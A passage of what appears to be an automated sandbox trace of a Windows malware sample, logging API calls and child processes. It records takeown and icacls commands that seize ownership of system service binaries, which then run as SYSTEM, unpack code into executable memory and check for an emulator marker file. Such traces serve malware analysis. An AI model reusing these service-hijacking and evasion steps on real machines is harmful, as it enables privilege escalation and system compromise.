LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x19f254 | out: ProcedureAddress=0x19f254*=0x77011856) returned 0x0 [0215.468] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x19f254 | out: ProcedureAddress=0x19f254*=0x7701435f) returned 0x0 [0215.468] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0215.468] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0215.468] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0215.468] VirtualProtect (in: lpAddress=0x1000000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x19f308 | out: lpflOldProtect=0x19f308*=0x2) returned 1 [0215.478] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x280000 [0215.481] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0215.481] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0215.481] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0215.481] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 890 os_tid = 0x654 Thread: id = 891 os_tid = 0x5b0 Thread: id = 892 os_tid = 0x38c Thread: id = 893 os_tid = 0x5f8 Thread: id = 1051 os_tid = 0x930 Process: id = "98" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x60c88000" os_pid = "0x5b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\dllhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 894 os_tid = 0x134 Thread: id = 895 os_tid = 0x6d8 Process: id = "99" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x73c8d000" os_pid = "0x2f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\dllhost.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 896 os_tid = 0x1ec Process: id = "100" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x5d9ee000" os_pid = "0x4ac" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\dllhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\COMSysApp" [0xe], "NT AUTHORITY\\Logon Session 00000000:000345e0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 897 os_tid = 0x134 [0217.059] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x26f4e4 | out: ProcedureAddress=0x26f4e4*=0x770149d7) returned 0x0 [0217.059] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x26f4e4 | out: ProcedureAddress=0x26f4e4*=0x77011222) returned 0x0 [0217.059] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x26f4e4 | out: ProcedureAddress=0x26f4e4*=0x77011856) returned 0x0 [0217.059] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x26f4e4 | out: ProcedureAddress=0x26f4e4*=0x7701435f) returned 0x0 [0217.059] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0217.060] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0217.060] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0217.060] VirtualProtect (in: lpAddress=0xe40000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x26f598 | out: lpflOldProtect=0x26f598*=0x2) returned 1 [0217.118] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0217.121] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0217.121] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0217.121] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0217.121] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 898 os_tid = 0x6d8 Thread: id = 899 os_tid = 0x4a8 Thread: id = 900 os_tid = 0x2f4 Thread: id = 901 os_tid = 0x1ec Thread: id = 1050 os_tid = 0x934 Process: id = "101" image_name = "maintenanceservice.exe" filename = "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe" page_root = "0x5a9f5000" os_pid = "0x50c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 902 os_tid = 0x804 [0218.102] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x37f354 | out: ProcedureAddress=0x37f354*=0x770149d7) returned 0x0 [0218.102] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x37f354 | out: ProcedureAddress=0x37f354*=0x77011222) returned 0x0 [0218.102] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x37f354 | out: ProcedureAddress=0x37f354*=0x77011856) returned 0x0 [0218.102] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x37f354 | out: ProcedureAddress=0x37f354*=0x7701435f) returned 0x0 [0218.102] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0218.103] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0218.103] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0218.103] VirtualProtect (in: lpAddress=0x1210000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x37f408 | out: lpflOldProtect=0x37f408*=0x2) returned 1 [0218.112] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000 [0218.116] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0218.116] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0218.116] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0218.116] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 903 os_tid = 0x80c Thread: id = 904 os_tid = 0x810 Thread: id = 905 os_tid = 0x814 Thread: id = 906 os_tid = 0x818 Thread: id = 1049 os_tid = 0x924 Process: id = "102" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5853c000" os_pid = "0x81c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\fxssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 907 os_tid = 0x820 Thread: id = 908 os_tid = 0x830 Process: id = "103" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x68341000" os_pid = "0x834" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\fxssvc.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 909 os_tid = 0x838 Process: id = "104" image_name = "fxssvc.exe" filename = "c:\\windows\\system32\\fxssvc.exe" page_root = "0x557fd000" os_pid = "0x850" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\fxssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Fax" [0xe], "NT AUTHORITY\\Logon Session 00000000:00034c56" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 912 os_tid = 0x854 [0220.451] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x25f5c4 | out: ProcedureAddress=0x25f5c4*=0x770149d7) returned 0x0 [0220.451] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x25f5c4 | out: ProcedureAddress=0x25f5c4*=0x77011222) returned 0x0 [0220.451] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x25f5c4 | out: ProcedureAddress=0x25f5c4*=0x77011856) returned 0x0 [0220.451] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x25f5c4 | out: ProcedureAddress=0x25f5c4*=0x7701435f) returned 0x0 [0220.451] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0220.451] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0220.451] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0220.451] VirtualProtect (in: lpAddress=0xc0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x25f678 | out: lpflOldProtect=0x25f678*=0x2) returned 1 [0220.464] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x140000 [0220.466] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0220.466] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0220.467] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0220.467] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 913 os_tid = 0x858 Thread: id = 914 os_tid = 0x85c Thread: id = 915 os_tid = 0x860 Thread: id = 916 os_tid = 0x864 Thread: id = 1048 os_tid = 0x92c Process: id = "105" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x54742000" os_pid = "0x868" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\wbengine.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 917 os_tid = 0x86c Thread: id = 918 os_tid = 0x87c Process: id = "106" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x5a647000" os_pid = "0x880" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\wbengine.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 919 os_tid = 0x884 Process: id = "107" image_name = "wbengine.exe" filename = "c:\\windows\\system32\\wbengine.exe" page_root = "0x51304000" os_pid = "0x894" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\wbengine.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:000350bf" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 920 os_tid = 0x898 [0222.030] GetTimeZoneInformation (in: lpTimeZoneInformation=0x53fdc0 | out: lpTimeZoneInformation=0x53fdc0) returned 0x2 [0222.032] GetCurrentProcess () returned 0xffffffff [0222.032] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x53fdac | out: lpExitCode=0x53fdac*=0x103) returned 1 [0222.032] GetForegroundWindow () returned 0x0 [0222.033] GetCaretBlinkTime () returned 0x1f4 [0222.033] GetFileType (hFile=0xf710cd) returned 0x0 [0222.033] GetConsoleProcessList (in: lpdwProcessList=0x53fe6c, dwProcessCount=0x1 | out: lpdwProcessList=0x53fe6c) returned 0x0 [0222.033] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x53fd78 | out: pcyOut=0x53fd78) returned 0x0 [0222.034] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0222.034] GetCommState (in: hFile=0x3b268c, lpDCB=0x53fbe0 | out: lpDCB=0x53fbe0) returned 0 [0222.034] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x53fbdc, pmr=0x53fbc8, cht=0x353) returned 0 [0222.034] CloseClipboard () returned 0 [0222.034] CoUninitialize () [0222.034] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0222.034] ReleaseMutex (hMutex=0xa0) returned 0 [0222.035] CloseHandle (hObject=0xa0) returned 1 [0222.035] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0222.035] GetCommState (in: hFile=0x3b268c, lpDCB=0x53fbe0 | out: lpDCB=0x53fbe0) returned 0 [0222.035] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x53fbdc, pmr=0x53fbc8, cht=0x353) returned 0 [0222.035] CloseClipboard () returned 0 [0222.035] CoUninitialize () [0222.035] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0222.035] ReleaseMutex (hMutex=0xa0) returned 0 [0222.035] CloseHandle (hObject=0xa0) returned 1 [0222.035] GetLocalTime (in: lpSystemTime=0x53fe7c | out: lpSystemTime=0x53fe7c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x22, wMilliseconds=0x16)) [0222.036] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f8fc | out: ProcedureAddress=0x53f8fc*=0x77011856) returned 0x0 [0222.036] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c0000 [0222.208] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f8fc | out: ProcedureAddress=0x53f8fc*=0x77011856) returned 0x0 [0222.209] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x190000 [0222.209] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x53f994 | out: ProcedureAddress=0x53f994*=0x770149d7) returned 0x0 [0222.210] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x53f994 | out: ProcedureAddress=0x53f994*=0x77011222) returned 0x0 [0222.210] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f994 | out: ProcedureAddress=0x53f994*=0x77011856) returned 0x0 [0222.210] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x53f994 | out: ProcedureAddress=0x53f994*=0x7701435f) returned 0x0 [0222.210] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0222.210] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0222.210] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0222.210] VirtualProtect (in: lpAddress=0x320000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x53fa48 | out: lpflOldProtect=0x53fa48*=0x2) returned 1 [0222.221] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1e0000 [0222.225] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0222.225] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0222.225] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0222.225] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0222.773] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.787] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x420000 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x104) returned 0x4207d0 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x4208e0 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420968 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x4209f0 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420a78 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420b00 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420b88 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420c10 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420c98 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420d20 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420da8 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420e30 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420eb8 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420f40 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x420fc8 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x421050 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x80) returned 0x4210d8 [0222.799] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x400) returned 0x421160 [0222.800] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xf60000 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf607d0 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf60858 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf608e0 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x184) returned 0xf60968 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60af8 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60b40 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60b88 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60bd0 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60c18 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60c60 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60ca8 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60cf0 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60d38 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60d80 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60dc8 [0222.800] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60e10 [0222.801] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60e58 [0222.801] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60ea0 [0222.801] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60ee8 [0222.801] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60f30 [0222.801] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53f590, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\wbengine.exe" (normalized: "c:\\windows\\system32\\wbengine.exe")) returned 0x20 [0222.844] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf60f78 [0222.844] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2c) returned 0xf6b828 [0222.851] GetVersionExW (in: lpVersionInformation=0x53fbb0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x53fbb0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0222.851] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x53fb98 | out: Wow64Process=0x53fb98) returned 1 [0222.852] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53fb74 | out: TokenHandle=0x53fb74*=0xa0) returned 1 [0222.852] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x53fb70 | out: TokenInformation=0x0, ReturnLength=0x53fb70) returned 0 [0222.852] GetLastError () returned 0x7a [0222.852] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x140) returned 0xf6b860 [0222.852] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xf6b860, TokenInformationLength=0x104, ReturnLength=0x53fb70 | out: TokenInformation=0xf6b860, ReturnLength=0x53fb70) returned 1 [0222.852] AllocateAndInitializeSid (in: pIdentifierAuthority=0x53fb80, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x53fb78 | out: pSid=0x53fb78*=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xf6b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0222.852] EqualSid (pSid1=0x992848*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, 